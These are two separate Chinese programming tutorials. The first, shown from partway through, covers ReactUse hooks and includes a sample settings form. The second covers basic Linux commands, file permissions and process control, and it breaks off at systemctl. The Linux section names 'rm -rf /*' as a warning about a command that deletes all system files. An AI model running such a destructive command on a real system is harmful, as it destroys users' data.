  2. 返回一个稳定的 setter,内部根据模式分支:非受控时更新内部状态;受控时只调 onChange,让父组件去重新渲染。
  3. 始终反映最新的事实。元组的第一个元素在受控时是 value、非受控时是内部状态,消费者永远不会看到不一致。

把它丢进设计系统里任何 input 形状的组件,从此不再为这个模式分心。

3. 自动保存表单草稿

手动实现

长表单——引导流、设置页、内容编辑器——绝不该让用户的工作毁于一次刷新。标准做法是把表单状态镜像到 localStorage;标准的失误是每敲一下键就写一次:

function ManualDraftForm() {
  const [draft, setDraft] = useState(() => {
    if (typeof window === "undefined") return { title: "", body: "" };
    const raw = localStorage.getItem("post-draft");
    return raw ? JSON.parse(raw) : { title: "", body: "" };
  });

  useEffect(() => {
    localStorage.setItem("post-draft", JSON.stringify(draft));
  }, [draft]);

  return (
    <form>
      <input
        value={draft.title}
        onChange={(e) => setDraft((d) => ({ ...d, title: e.target.value }))}
      />
      <textarea
        value={draft.body}
        onChange={(e) => setDraft((d) => ({ ...d, body: e.target.value }))}
      />
    </form>
  );
}

这十五行里藏着三个问题。第一,惰性初始化会在挂载时读一次 localStorage,但不会在另一个标签页更新它时再读——多标签页编辑会安静地翻车。第二,JSON.parse 遇到损坏数据会抛错,组件就在挂载时崩了。第三,localStorage.setItem 是同步的,每次渲染都跑一次,对一个手快的用户而言会顶住主线程。

最上面那行 SSR 检查就是个信号:这是一段会被仓库里其它组件复制过去、并大概率写错的"配方"。

ReactUse 的写法:useLocalStorage

useLocalStorage 长得像 useState、用起来也像 useState,但值住在存储里:

import { useLocalStorage } from "@reactuses/core";

function DraftForm() {
  const [draft, setDraft] = useLocalStorage("post-draft", {
    title: "",
    body: "",
  });

  return (
    <form>
      <input
        value={draft.title}
        onChange={(e) => setDraft({ ...draft, title: e.target.value })}
      />
      <textarea
        value={draft.body}
        onChange={(e) => setDraft({ ...draft, body: e.target.value })}
      />
    </form>
  );
}

手动版本搞错或漏掉的四件事,这个 Hook 都帮你做好了:

  1. SSR 安全初始化。在服务端返回默认值;客户端首次渲染时无失配地完成水合。
  2. 跨标签页同步。监听 storage 事件,当另一个标签页写入同一个键时同步状态。
  3. JSON 容错。捕获解析错误并退回默认值,不再让组件崩溃。
  4. 稳定的 setter。返回的 setter 引用稳定,可以安全地放进 useEffect 依赖或 memo 化的子组件里。

对真的很长的表单,常常想要"自动保存 + 防抖"。把第一节的 useDebounce 搭进来——先防抖表单状态,再把防抖后的值写进存储——你就得到一个能在刷新中存活、又不会捶硬盘的编辑器。

4. 用"点击外部"关闭浮层

手动实现

国家选择器、日期选择器、自动补全菜单,以及一切浮在页面上的东西,都得在用户点别的地方时关掉自己。教科书式的实现是在 document 上监听:

function ManualPopover({ children }: { children: React.ReactNode }) {
  const [open, setOpen] = useState(false);
  const ref = useRef<HTMLDivElement>(null);

  useEffect(() => {
    if (!open) return;
    const handler = (e: MouseEvent) => {
      if (ref.current && !ref.current.contains(e.target as Node)) {
        setOpen(false);
      }
    };
    document.addEventListener("mousedown", handler);
    return () => document.removeEventListener("mousedown", handler);
  }, [open]);

  return (
    <div ref={ref} style={{ position: "relative" }}>
      <button onClick={() => setOpen((v) => !v)}>切换</button>
      {open && <div className="popover">{children}</div>}
    </div>
  );
}

简单场景这能跑——直到你的浮层被 portal 渲染到别处。ref.current.contains(...) 假设浮层是触发器的 DOM 后代,但真实的设计系统里几乎从来不是:浮层会被挂到 body 根节点,绕开父容器的 overflow。你还得在 mousedownclick 之间做选择(多数情况下答案是 mousedown,这样浮层会在某个下游 click 处理器触发之前就关掉),而且记得在关闭时跳过监听,免得每次页面 click 都白跑一遍。

ReactUse 的写法:useClickOutside

useClickOutside 接收一个 ref(或一组 ref)和一个处理器:

import { useRef, useState } from "react";
import { useClickOutside } from "@reactuses/core";

function Popover({ children }: { children: React.ReactNode }) {
  const [open, setOpen] = useState(false);
  const triggerRef = useRef<HTMLDivElement>(null);
  const popoverRef = useRef<HTMLDivElement>(null);

  useClickOutside([triggerRef, popoverRef], () => setOpen(false));

  return (
    <>
      <div ref={triggerRef}>
        <button onClick={() => setOpen((v) => !v)}>切换</button>
      </div>
      {open && (
        <div ref={popoverRef} className="popover">
          {children}
        </div>
      )}
    </>
  );
}

支持 ref 数组的形式,正是它能搞定 portal 浮层的关键:把触发器和浮动面板都标成"内部",点其它地方就触发处理器。Hook 也替你处理 mousedown 的选择,监听器只在 document 层挂一次(不会在每个组件里来回挂卸),并在卸载时清理干净。

它还有一个相近的兄弟 useClickAway——API 略有不同,适合只有单个 ref 的场景,按你组件里读起来更顺的那个挑就行。

组合在一起:账户设置表单

下面是一个完整的账户设置表单,把四个 Hook 都用上了。用户名边输入边校验。整个表单自动保存到 localStorage。通知开关是受控/非受控两可的组件。国家选择器是个对 portal 友好、点击外部就关的浮层。

import { useEffect, useRef, useState } from "react";
import {
  useDebounce,
  useControlled,
  useLocalStorage,
  useClickOutside,
} from "@reactuses/core";

interface Settings {
  username: string;
  country: string;
  notifications: boolean;
}

const COUNTRIES = ["中国", "日本", "德国", "巴西", "印度"];

function NotificationSwitch({
  value,
  defaultValue = true,
  onChange,
}: {
  value?: boolean;
  defaultValue?: boolean;
  onChange?: (next: boolean) => void;
}) {
  const [on, setOn] = useControlled({ value, defaultValue, onChange });
  return (
    <button
      type="button"
      role="switch"
      aria-checked={on}
      onClick={() => setOn(!on)}
      style={{
        width: 48,
        height: 24,
        borderRadius: 999,
        border: "none",
        background: on ? "#3b82f6" : "#cbd5e1",
        position: "relative",
        cursor: "pointer",
      }}
    >
      <span
        style={{
          position: "absolute",
          top: 2,
          left: on ? 26 : 2,
          width: 20,
          height: 20,
          borderRadius: "50%",
          background: "white",
          transition: "left 120ms ease",
        }}
      />
    </button>
  );
}

function CountryPicker({
  value,
  onChange,
}: {
  value: string;
  onChange: (next: string) => void;
}) {
  const [open, setOpen] = useState(false);
  const triggerRef = useRef<HTMLButtonElement>(null);
  const menuRef = useRef<HTMLUListElement>(null);

  useClickOutside([triggerRef, menuRef], () => setOpen(false));

  return (
    <div style={{ position: "relative", display: "inline-block" }}>
      <button
        ref={triggerRef}
        type="button"
        onClick={() => setOpen((v) => !v)}
        style={{
          padding: "6px 12px",
          borderRadius: 6,
          border: "1px solid #cbd5e1",
          background: "white",
          cursor: "pointer",
        }}
      >
        {value || "选择国家"} ▾
      </button>
      {open && (
        <ul
          ref={menuRef}
          style={{
            position: "absolute",
            top: "calc(100% + 4px)",
            left: 0,
            margin: 0,
            padding: 4,
            listStyle: "none",
            background: "white",
            border: "1px solid #cbd5e1",
            borderRadius: 8,
            boxShadow: "0 4px 12px rgba(0,0,0,0.08)",
            minWidth: 180,
          }}
        >
          {COUNTRIES.map((c) => (
            <li
              key={c}
              onClick={() => {
                onChange(c);
                setOpen(false);
              }}
              style={{
                padding: "6px 10px",
                borderRadius: 4,
                cursor: "pointer",
                background: c === value ? "#eff6ff" : "transparent",
              }}
            >
              {c}
            </li>
          ))}
        </ul>
      )}
    </div>
  );
}

export default function SettingsForm() {
  const [settings, setSettings] = useLocalStorage<Settings>("account-settings", {
    username: "",
    country: "",
    notifications: true,
  });

  const debouncedUsername = useDebounce(settings.username, 400);
  const [status, setStatus] = useState<"idle" | "checking" | "ok" | "taken">("idle");

  useEffect(() => {
    if (!debouncedUsername) {
      setStatus("idle");
      return;
    }
    let cancelled = false;
    setStatus("checking");
    fetch(`/api/username?u=${encodeURIComponent(debouncedUsername)}`)
      .then((r) => r.json())
      .then((data) => {
        if (!cancelled) setStatus(data.available ? "ok" : "taken");
      })
      .catch(() => {
        if (!cancelled) setStatus("idle");
      });
    return () => {
      cancelled = true;
    };
  }, [debouncedUsername]);

  return (
    <form
      style={{
        maxWidth: 480,
        display: "grid",
        gap: 16,
        fontFamily: "system-ui, sans-serif",
      }}
      onSubmit={(e) => e.preventDefault()}
    >
      <label style={{ display: "grid", gap: 4 }}>
        <span style={{ fontSize: 14, color: "#475569" }}>用户名</span>
        <input
          value={settings.username}
          onChange={(e) =>
            setSettings({ ...settings, username: e.target.value })
          }
          style={{
            padding: "8px 10px",
            borderRadius: 6,
            border: "1px solid #cbd5e1",
          }}
        />
        <span style={{ fontSize: 12, color: "#64748b" }}>
          {status === "checking" && "校验中..."}
          {status === "ok" && "✓ 可用"}
          {status === "taken" && "✗ 已被占用"}
        </span>
      </label>

      <label style={{ display: "grid", gap: 4 }}>
        <span style={{ fontSize: 14, color: "#475569" }}>国家</span>
        <CountryPicker
          value={settings.country}
          onChange={(country) => setSettings({ ...settings, country })}
        />
      </label>

      <label
        style={{
          display: "flex",
          alignItems: "center",
          justifyContent: "space-between",
        }}
      >
        <span style={{ fontSize: 14, color: "#475569" }}>邮件通知</span>
        <NotificationSwitch
          value={settings.notifications}
          onChange={(notifications) =>
            setSettings({ ...settings, notifications })
          }
        />
      </label>
    </form>
  );
}

四个 Hook,四种职责,零重叠:

  • useDebounce 把密集敲击压成一次延迟值,让异步校验只在用户停顿后才发请求
  • useControlled 让开关组件同时接受 valuedefaultValue 两种用法,不必复制分支逻辑
  • useLocalStorage 把整个设置对象在刷新中持久化,附带 SSR 安全初始化与跨标签页同步
  • useClickOutside 在用户点击触发器与菜单之外的任何地方时关闭国家菜单——portal 渲染同样工作

整个表单文件最后大约 200 行,绝大部分是 JSX 与样式。那些容易写错的浏览器细枝末节——定时器清理、SSR 存储访问、受控/非受控判别、document 级监听——都被收进了那些已经被各种翻车场景打磨过的库 Hook 里。

安装

npm i @reactuses/core

相关 Hook

  • useDebounce — 让一个值按固定延迟落后于其输入
  • useDebounceFn — 防抖一个回调而非一个值
  • useControlled — 构建同时接受受控/非受控用法的组件
  • useLocalStorage — 持久化到 localStorage 的 useState,自带 SSR 安全与跨标签页同步
  • useSessionStorage — 与 useLocalStorage 同形,但作用域为会话
  • useClickOutside — 检测一个或多个元素之外的点击
  • useClickAway — 单 ref 版本的点击外部检测
  • useToggle — 带显式 toggle setter 的布尔状态
  • usePrevious — 读取上一次的状态值,用于表单中的变更检测

ReactUse 提供 100+ 个 React Hook。全部探索 →

重新学习前端之Linux

作者 walking957
2026年5月7日 16:44

Linux

一、Linux 基础命令

1. Linux 基础命令概述

定义: Linux 基础命令是在 Linux 终端中执行的基本操作指令,用于文件系统管理、进程控制、网络配置等日常系统管理任务。

原理: Linux 命令本质上是可执行程序,通常位于 /bin/usr/bin/sbin 等目录中。当用户在终端输入命令时,Shell 会按照 $PATH 环境变量中定义的目录顺序查找对应的可执行文件并执行。

示例:

# 查看当前路径
pwd
# 输出: /home/user

# 列出当前目录内容
ls -la

常见误区:

  • 误以为命令是 Shell 内置的,实际上大多数命令是外部程序
  • 混淆 man 命令和 help 命令的使用场景
  • 不熟悉命令的参数缩写规则(如 -l--long

2. ls - 列出目录内容

定义: ls (list) 命令用于列出目录中的文件和子目录信息。

常用参数:

ls          # 基本列表
ls -l       # 详细信息(权限、所有者、大小、时间)
ls -a       # 显示隐藏文件(以.开头的文件)
ls -h       # 人类可读的文件大小
ls -t       # 按修改时间排序
ls -R       # 递归显示子目录
ls -la      # 组合使用:详细显示所有文件

输出解析:

drwxr-xr-x 2 user group 4096 Mar 15 10:30 Documents
-rw-r--r-- 1 user group  256 Mar 15 10:31 file.txt
  • 第一列:文件类型和权限(d表示目录,-表示普通文件)
  • 第二列:硬链接数
  • 第三列:文件所有者
  • 第四列:所属组
  • 第五列:文件大小(字节)
  • 第六至八列:最后修改时间
  • 第九列:文件名

常见误区:

  • 忘记 -a 参数会遗漏隐藏文件(如 .bashrc
  • 误认为文件大小包含目录内容(目录显示的4096是目录本身大小)

3. cd - 切换目录

定义: cd (change directory) 命令用于切换当前工作目录。

使用方式:

cd /home/user        # 切换到绝对路径
cd ../parent         # 切换到父目录
cd ~                 # 切换到用户主目录
cd -                 # 切换到上一次所在目录
cd                   # 无参数时切换到主目录

原理: cd 是 Shell 内置命令,通过修改当前 Shell 进程的 $PWD 环境变量实现。

常见误区:

  • cd - 会打印切换后的路径,方便确认
  • 使用相对路径时,基准目录是当前工作目录而非主目录

4. pwd - 显示当前目录

定义: pwd (print working directory) 命令用于显示当前工作目录的完整路径。

pwd          # /home/user/projects
pwd -P       # 显示物理路径(解析符号链接)
pwd -L       # 显示逻辑路径(包含符号链接)

5. mkdir - 创建目录

定义: mkdir (make directory) 命令用于创建新目录。

mkdir newdir                    # 创建单个目录
mkdir -p a/b/c                  # 递归创建多级目录
mkdir -m 755 newdir             # 指定权限创建
mkdir dir1 dir2 dir3            # 同时创建多个目录

常见误区:

  • 不使用 -p 参数时,父目录不存在会报错
  • -m 参数使用八进制数字指定权限

6. rmdir - 删除空目录

定义: rmdir (remove directory) 命令用于删除空目录

rmdir emptydir                  # 删除空目录
rmdir -p a/b/c                  # 递归删除空目录(连同父目录)

注意: 如果目录非空,会报错。删除非空目录使用 rm -r


7. rm - 删除文件或目录

定义: rm (remove) 命令用于删除文件或目录。

rm file.txt                     # 删除文件
rm -r directory                 # 递归删除目录
rm -f file.txt                  # 强制删除(不提示)
rm -rf directory                # 强制递归删除
rm -i file.txt                  # 删除前逐个确认

常见误区:

  • rm -rf /* 是极其危险的命令,会删除系统所有文件
  • 使用 -i 参数可以防止误删重要文件
  • 删除的文件无法直接恢复(需要通过专业工具或备份)

8. cp - 复制文件或目录

定义: cp (copy) 命令用于复制文件或目录。

cp source.txt dest.txt          # 复制文件
cp -r sourcedir destdir         # 递归复制目录
cp -i source.txt dest.txt       # 覆盖前提示确认
cp -a source dest               # 保留所有属性(归档模式)
cp -v source dest               # 显示复制过程

常见误区:

  • 复制目录必须使用 -r-R 参数
  • 目标位置存在同名文件会被覆盖(除非使用 -i

9. mv - 移动或重命名

定义: mv (move) 命令用于移动文件或重命名文件。

mv old.txt new.txt              # 重命名
mv file.txt /path/to/dir/       # 移动到目录
mv -i source dest               # 覆盖前提示
mv -n source dest               # 不覆盖已存在的文件

原理: 在同一文件系统内移动文件实际只修改目录项(速度快),跨文件系统移动等同于复制+删除。


10. touch - 创建或更新文件时间戳

定义: touch 命令用于创建空文件或更新文件的时间戳。

touch newfile.txt               # 创建空文件
touch -t 202403011200 file.txt  # 修改时间为指定值
touch -a file.txt               # 只更新访问时间
touch -m file.txt               # 只修改修改时间

常见误区:

  • touch 不会覆盖已存在的文件内容
  • 文件已存在时只更新时间戳

11. cat - 查看文件内容

定义: cat (concatenate) 命令用于查看、合并文件内容。

cat file.txt                    # 查看文件
cat -n file.txt                 # 显示行号
cat -b file.txt                 # 非空行显示行号
cat file1.txt file2.txt         # 合并多个文件
cat file1.txt file2.txt > combined.txt  # 合并输出到新文件
cat > newfile.txt << EOF        # 创建文件(多行输入)
EOF

常见误区:

  • 不适合查看大文件(会一次性加载到终端)
  • 查看大文件应使用 lessmore

12. more - 分页查看文件

定义: more 命令用于分页查看文件内容。

more file.txt                   # 分页查看
more -10 file.txt               # 每页显示10行

操作按键:

  • 空格键:向下翻页
  • Enter:向下滚动一行
  • q:退出

常见误区:

  • more 只能向下翻页,不能回退(less 可以双向翻页)

13. less - 分页查看文件(增强版)

定义: lessmore 的增强版,支持双向翻页和搜索。

less file.txt                   # 分页查看
less -N file.txt                # 显示行号
less +/pattern file.txt         # 打开时搜索模式

操作按键:

  • 空格键:向下翻页
  • b:向上翻页
  • /pattern:向下搜索
  • ?pattern:向上搜索
  • n:下一个匹配
  • N:上一个匹配
  • q:退出
  • G:跳转到末尾
  • g:跳转到开头

最佳实践: 查看日志文件优先使用 less


14. head - 查看文件开头

定义: head 命令用于查看文件开头部分内容。

head file.txt                   # 默认显示前10行
head -n 20 file.txt             # 显示前20行
head -c 100 file.txt            # 显示前100个字节

15. tail - 查看文件末尾

定义: tail 命令用于查看文件末尾部分内容。

tail file.txt                   # 默认显示最后10行
tail -n 20 file.txt             # 显示最后20行
tail -f logfile.log             # 实时跟踪文件变化
tail -F logfile.log             # 实时跟踪(支持日志轮转)
tail -n +100 file.txt           # 从第100行开始显示

最佳实践: 查看日志使用 tail -f 实时监控


16. find - 搜索文件

定义: find 命令用于在目录树中搜索文件。

find /path -name "file.txt"                     # 按名称搜索
find /path -type f -name "*.log"                # 搜索所有.log文件
find /path -size +100M                          # 搜索大于100MB的文件
find /path -mtime -7                            # 搜索7天内修改的文件
find /path -perm 644                            # 搜索权限为644的文件
find /path -user username                       # 搜索特定用户的文件
find /path -exec rm {} \;                       # 对搜索结果执行命令
find /path -name "*.tmp" -delete                # 搜索并删除
find /path -type f -empty                       # 查找空文件

常用选项:

  • -name:按文件名搜索(区分大小写)
  • -iname:按文件名搜索(不区分大小写)
  • -type:按类型搜索(f:文件, d:目录, l:链接)
  • -size:按大小搜索(+大于, -小于)
  • -mtime:按修改时间搜索(天数)
  • -atime:按访问时间搜索
  • -ctime:按状态改变时间搜索
  • -exec:对每个搜索结果执行命令

常见误区:

  • -exec 命令末尾必须有 \;+
  • -mtime +7 表示7天前,-mtime -7 表示7天内

17. locate - 快速查找文件

定义: locate 命令通过数据库快速查找文件路径。

locate file.txt                 # 查找包含file.txt的路径
locate -i FILE.TXT              # 不区分大小写
sudo updatedb                   # 更新数据库

原理: locate 使用 updatedb 创建的数据库进行搜索,速度极快但结果可能不是最新的。

对比 find

  • locate:速度快,但依赖数据库,结果可能不是最新的
  • find:实时搜索,速度慢但结果准确

18. whereis - 查找命令位置

定义: whereis 命令用于查找命令的二进制文件、源代码和手册页位置。

whereis ls                      # ls: /bin/ls /usr/share/man/man1/ls.1.gz
whereis -b ls                   # 只显示二进制文件
whereis -m ls                   # 只显示手册页

19. which - 查找命令路径

定义: which 命令用于查找命令的完整路径(按 $PATH 顺序)。

which ls                        # /bin/ls
which python                    # /usr/bin/python

对比 whereis

  • which:只查找可执行文件,按 $PATH 顺序
  • whereis:查找二进制、源码和手册页

20. echo - 输出文本

定义: echo 命令用于输出文本到终端或文件。

echo "Hello World"              # 输出文本
echo $PATH                      # 输出变量值
echo -e "Hello\nWorld"          # 启用转义字符
echo "text" > file.txt          # 输出到文件(覆盖)
echo "text" >> file.txt         # 追加到文件

常见误区:

  • 双引号内变量会被展开,单引号内变量不会被展开
  • > 覆盖文件,>> 追加文件

21. printf - 格式化输出

定义: printf 命令用于格式化输出文本(类似 C 语言的 printf)。

printf "Name: %s, Age: %d\n" "John" 25
printf "%-10s %5d\n" "John" 25          # 左对齐
printf "0x%04x\n" 255                   # 十六进制输出

22. clear - 清屏

定义: clear 命令用于清空终端屏幕。

clear                           # 清屏
Ctrl + L                        # 快捷键(部分终端)

23. history - 查看命令历史

定义: history 命令用于查看之前执行过的命令历史。

history                         # 显示所有历史命令
history 10                      # 显示最近10条命令
!n                              # 执行第n条历史命令
!!                              # 执行上一条命令
!ls                             # 执行最近一次ls命令
Ctrl + R                        # 搜索历史命令
history -c                      # 清除历史记录

24. man - 查看手册页

定义: man (manual) 命令用于查看命令的手册页。

man ls                          # 查看ls的手册
man -k keyword                  # 搜索手册(同apropos)
man 2 open                      # 查看系统调用open的手册

手册章节:

  1. 用户命令
  2. 系统调用
  3. 库函数
  4. 特殊文件
  5. 文件格式
  6. 游戏
  7. 杂项
  8. 系统管理命令

25. help - 查看内置命令帮助

定义: help 命令用于查看 Shell 内置命令的帮助信息。

help cd                         # 查看cd命令帮助
help echo                       # 查看echo命令帮助

对比 man

  • help:查看 Shell 内置命令的帮助
  • man:查看外部命令的手册页

二、文件系统与权限

26. Linux 文件系统

定义: Linux 文件系统是用于组织和管理磁盘上数据的结构和规则。

常见文件系统类型:

  • ext4:第四代扩展文件系统,Linux 默认文件系统
  • XFS:高性能日志文件系统,适合大文件
  • Btrfs:支持快照、压缩的现代文件系统
  • NTFS:Windows 文件系统(Linux 可读写)
  • FAT32:通用文件系统,兼容性最好

原理: 文件系统通过 inode 存储文件元数据(权限、大小、时间等),通过数据块存储实际内容。

查看文件系统:

df -T                           # 查看文件系统类型
lsblk -f                        # 查看块设备文件系统
blkid                           # 查看块设备属性

27. 文件权限

定义: Linux 文件权限控制着不同用户对文件的访问能力。

权限类型:

  • r (read):读权限(文件:可查看内容;目录:可列出内容)
  • w (write):写权限(文件:可修改内容;目录:可创建/删除文件)
  • x (execute):执行权限(文件:可作为程序执行;目录:可进入目录)

权限分组:

-rwxr-xr-- 1 user group 4096 Mar 15 10:30 file.txt
  • 所有者(user/owner):前3位 rwx
  • 所属组(group):中3位 r-x
  • 其他用户(others):后3位 r--

权限数字表示:

  • r = 4
  • w = 2
  • x = 1
  • 755 = rwxr-xr-x(所有者全权限,组和其他用户读执行)
  • 644 = rw-r--r--(所有者读写,组和其他只读)

特殊权限:

  • SUID (4):执行时以文件所有者身份运行
  • SGID (2):执行时以文件所属组身份运行;目录中新文件继承目录组
  • Sticky Bit (1):目录中只有文件所有者能删除文件(如 /tmp
chmod 4755 file                 # 设置SUID
chmod 2755 dir                  # 设置SGID
chmod 1777 /tmp                 # 设置Sticky Bit

28. chmod - 修改权限

定义: chmod (change mode) 命令用于修改文件或目录的权限。

chmod 755 file.txt              # 数字方式设置权限
chmod u+x file.txt              # 给所有者添加执行权限
chmod go-w file.txt             # 移除组和其他用户的写权限
chmod a+r file.txt              # 给所有用户添加读权限
chmod -R 755 directory          # 递归修改目录权限

符号模式:

  • u:所有者(user)
  • g:所属组(group)
  • o:其他用户(others)
  • a:所有用户(all)
  • +:添加权限
  • -:移除权限
  • =:设置权限

29. chown - 修改所有者

定义: chown (change owner) 命令用于修改文件或目录的所有者。

chown user file.txt             # 修改所有者
chown user:group file.txt       # 同时修改所有者和组
chown :group file.txt           # 只修改组
chown -R user directory         # 递归修改目录所有者

30. chgrp - 修改所属组

定义: chgrp (change group) 命令用于修改文件或目录的所属组。

chgrp group file.txt            # 修改所属组
chgrp -R group directory        # 递归修改目录所属组

31. 文件类型

定义: Linux 中文件类型用于区分不同性质的文件。

常见类型:

  • -:普通文件(文本、二进制、压缩包等)
  • d:目录(文件夹)
  • l:符号链接(软链接)
  • c:字符设备文件(如 /dev/null
  • b:块设备文件(如 /dev/sda
  • p:命名管道(FIFO)
  • s:套接字文件

查看文件类型:

ls -l                           # 通过第一列第一个字符识别
file filename                   # 详细显示文件类型

32. 目录结构

定义: Linux 采用树状目录结构组织文件系统,根目录为 /

重要目录:

/               # 根目录
/bin            # 基本用户命令(二进制)
/sbin           # 系统管理员命令
/etc            # 系统配置文件
/home           # 用户主目录
/root           # root用户主目录
/var            # 可变数据(日志、缓存等)
/tmp            # 临时文件
/usr            # 用户程序和数据
/opt            # 可选软件包
/dev            # 设备文件
/proc           # 进程信息(虚拟文件系统)
/sys            # 系统信息(虚拟文件系统)
/boot           # 启动文件
/lib            # 系统库文件
/media          # 可移动媒体挂载点
/mnt            # 临时挂载点

FHS(文件系统层次结构标准): 规范了 Linux 目录的用途和内容。


33-34. 文件路径与绝对路径

定义: 路径是文件或目录在文件系统中的位置标识。

绝对路径: 从根目录 / 开始的完整路径。

/home/user/documents/file.txt   # 绝对路径(始终以/开头)

特点:

  • 始终以 / 开头
  • 在任何位置都有效
  • 完整描述文件位置

35. 相对路径

定义: 相对于当前工作目录的路径。

./file.txt                      # 当前目录下的文件
../parent/file.txt              # 父目录下的文件
../../grandparent/file.txt      # 祖父目录下的文件

特殊符号:

  • .:当前目录
  • ..:父目录
  • ~:用户主目录
  • -:上一次所在目录

36-38. 软链接、硬链接与 ln 命令

定义: 链接是指向另一个文件的引用。

软链接(符号链接):

ln -s /path/to/original /path/to/link     # 创建软链接
  • 类似 Windows 的快捷方式
  • 有自己的 inode
  • 指向另一个文件路径
  • 可以跨越文件系统
  • 源文件删除后链接失效

硬链接:

ln /path/to/original /path/to/link        # 创建硬链接
  • 与原文件共享同一个 inode
  • 不能跨文件系统
  • 不能链接目录
  • 源文件删除后仍可访问(通过硬链接)
  • 删除最后一个链接才会真正删除文件

对比:

特性 软链接 硬链接
inode 不同 相同
跨文件系统 支持 不支持
链接目录 支持 不支持
源文件删除 失效 仍可访问
文件大小 路径长度 与原文件相同
命令 ln -s ln

查看链接:

ls -l                         # 软链接显示 -> 指向
stat file                     # 查看inode信息

39. 文件属性

定义: 文件属性包括权限、所有者、时间戳、大小等元数据。

查看属性:

ls -l file                    # 基本属性
stat file                     # 详细属性

属性信息:

  • 文件名
  • 文件大小
  • 文件类型
  • 权限模式
  • 所有者和组
  • 硬链接数
  • inode 号
  • 访问时间(atime)
  • 修改时间(mtime)
  • 状态改变时间(ctime)

40. inode

定义: inode(索引节点)是 Linux 文件系统中存储文件元数据的数据结构。

存储内容:

  • 文件大小
  • 文件权限
  • 所有者和组
  • 时间戳(atime, mtime, ctime)
  • 文件类型
  • 指向数据块的指针

不包含: 文件名(文件名存储在目录项中)

查看 inode:

ls -i file                    # 显示inode号
df -i                         # 查看inode使用情况
stat file                     # 详细inode信息

常见误区:

  • 删除文件实际是删除目录项,减少inode引用计数
  • inode 耗尽即使磁盘有空间也无法创建新文件
  • 硬链接共享同一个 inode

三、进程管理

41. 进程

定义: 进程是正在执行的程序实例,是操作系统资源分配的基本单位。

进程状态:

  • 运行态(Running):正在执行或准备执行
  • 睡眠态(Sleeping):等待某个事件或资源
    • S:可中断睡眠
    • D:不可中断睡眠(通常等待I/O)
  • 停止态(Stopped):被信号暂停
  • 僵尸态(Zombie):已终止但父进程尚未回收
  • 死亡态(Dead):即将被销毁

进程属性:

  • PID(进程ID)
  • PPID(父进程ID)
  • 状态
  • 优先级
  • 内存占用
  • CPU 占用
  • 运行时间

42. 进程管理

定义: 进程管理包括查看、控制、终止进程等操作。

管理方式:

  • 查看进程:pstophtop
  • 发送信号:killkillallpkill
  • 调整优先级:nicerenice
  • 前后台切换:jobsfgbg
  • 守护进程:systemdservice

43. ps - 查看进程

定义: ps (process status) 命令用于查看当前进程的快照。

ps                              # 查看当前终端进程
ps aux                          # 查看所有进程(BSD格式)
ps -ef                          # 查看所有进程(标准格式)
ps -ef | grep nginx             # 查找特定进程
ps -p 1234                      # 查看指定PID
ps -u username                  # 查看特定用户的进程
ps --sort=-%mem                 # 按内存使用排序

输出字段(ps aux):

  • USER:所有者
  • PID:进程ID
  • %CPU:CPU使用率
  • %MEM:内存使用率
  • VSZ:虚拟内存大小
  • RSS:物理内存大小
  • TTY:关联终端
  • STAT:进程状态
  • START:启动时间
  • TIME:CPU时间
  • COMMAND:命令

44. top - 实时进程监控

定义: top 命令用于实时显示系统进程状态和资源使用情况。

top                             # 启动top
top -u username                 # 查看特定用户进程
top -p 1234                     # 监控指定PID
top -d 2                        # 每2秒刷新

交互按键:

  • P:按CPU使用率排序
  • M:按内存使用率排序
  • q:退出
  • k:终止进程
  • c:显示完整命令路径
  • h:帮助

输出信息:

  • 系统运行时间、负载
  • 进程总数
  • CPU使用率
  • 内存使用情况
  • 进程列表

45. htop - 增强版进程监控

定义: htoptop 的增强版,提供更友好的交互界面。

htop                            # 启动htop
htop -u username                # 查看特定用户进程

优势:

  • 彩色显示
  • 支持鼠标操作
  • 树状视图(F5)
  • 更直观的资源使用条
  • 支持搜索(F3)

46. kill - 发送信号

定义: kill 命令用于向进程发送信号(常用于终止进程)。

kill PID                        # 默认发送SIGTERM(15)
kill -9 PID                     # 发送SIGKILL(强制终止)
kill -15 PID                    # 发送SIGTERM(优雅终止)
kill -1 PID                     # 发送SIGHUP(重新加载配置)
kill -l                         # 列出所有信号

常用信号:

信号 编号 说明
SIGHUP 1 挂起信号,常用于重新加载配置
SIGINT 2 中断信号(Ctrl+C)
SIGKILL 9 强制终止(不可捕获)
SIGTERM 15 优雅终止(默认)
SIGSTOP 19 停止进程
SIGCONT 18 继续进程

47. killall - 按名称终止进程

定义: killall 命令用于通过进程名终止所有匹配的进程。

killall nginx                   # 终止所有nginx进程
killall -9 nginx                # 强制终止
killall -u username             # 终止特定用户的所有进程

48. pkill - 按模式终止进程

定义: pkill 命令用于通过进程名模式匹配终止进程。

pkill nginx                     # 终止名称包含nginx的进程
pkill -f "python app.py"        # 按完整命令行匹配
pkill -u username               # 按用户匹配

对比:

  • kill:需要 PID
  • killall:精确匹配进程名
  • pkill:模式匹配进程名

49. nice - 以指定优先级启动进程

定义: nice 命令用于以指定的优先级启动进程。

nice -n 10 command              # 以优先级10启动
nice -n -5 command              # 以高优先级启动(需要root)

优先级范围: -20(最高)到 19(最低),默认值为 0。


50. renice - 修改运行中进程的优先级

定义: renice 命令用于修改正在运行的进程的优先级。

renice -n 10 -p PID             # 修改进程优先级
renice -n 5 -u username         # 修改特定用户所有进程

51. nohup - 忽略挂起信号

定义: nohup (no hang up) 命令使命令在终端关闭后继续运行。

nohup command &                 # 后台运行,忽略挂起信号
nohup command > output.log 2>&1 &   # 重定向输出

原理: 忽略 SIGHUP 信号,输出默认重定向到 nohup.out


52. & - 后台运行

定义: 在命令末尾添加 & 使进程在后台运行。

command &                       # 后台运行
nohup command &                 # 后台运行且忽略挂起信号

53. jobs - 查看后台任务

定义: jobs 命令用于查看当前终端的后台任务列表。

jobs                            # 列出后台任务
jobs -l                         # 显示详细信息(含PID)

54. fg - 切换到前台

定义: fg (foreground) 命令将后台任务切换到前台运行。

fg                              # 恢复最近一个后台任务到前台
fg %1                           # 恢复任务1到前台

55. bg - 后台运行

定义: bg (background) 命令使停止的任务在后台继续运行。

bg                              # 继续最近一个停止的任务在后台
bg %1                           # 继续任务1在后台

56. 守护进程

定义: 守护进程(Daemon)是在后台运行、不与终端关联的长期运行的进程。

特点:

  • 在后台运行
  • 不与终端关联
  • 通常以 d 结尾命名(如 sshdnginx
  • 系统启动时自动启动

常见守护进程:

  • sshd:SSH 服务
  • crond:定时任务
  • systemd:系统初始化
  • httpd/nginx:Web 服务

57. systemd - 系统和服务管理器

定义: systemd 是现代 Linux 发行版的系统和服务管理器。

常用命令:

systemctl status service        # 查看服务状态
systemctl start service         # 启动服务
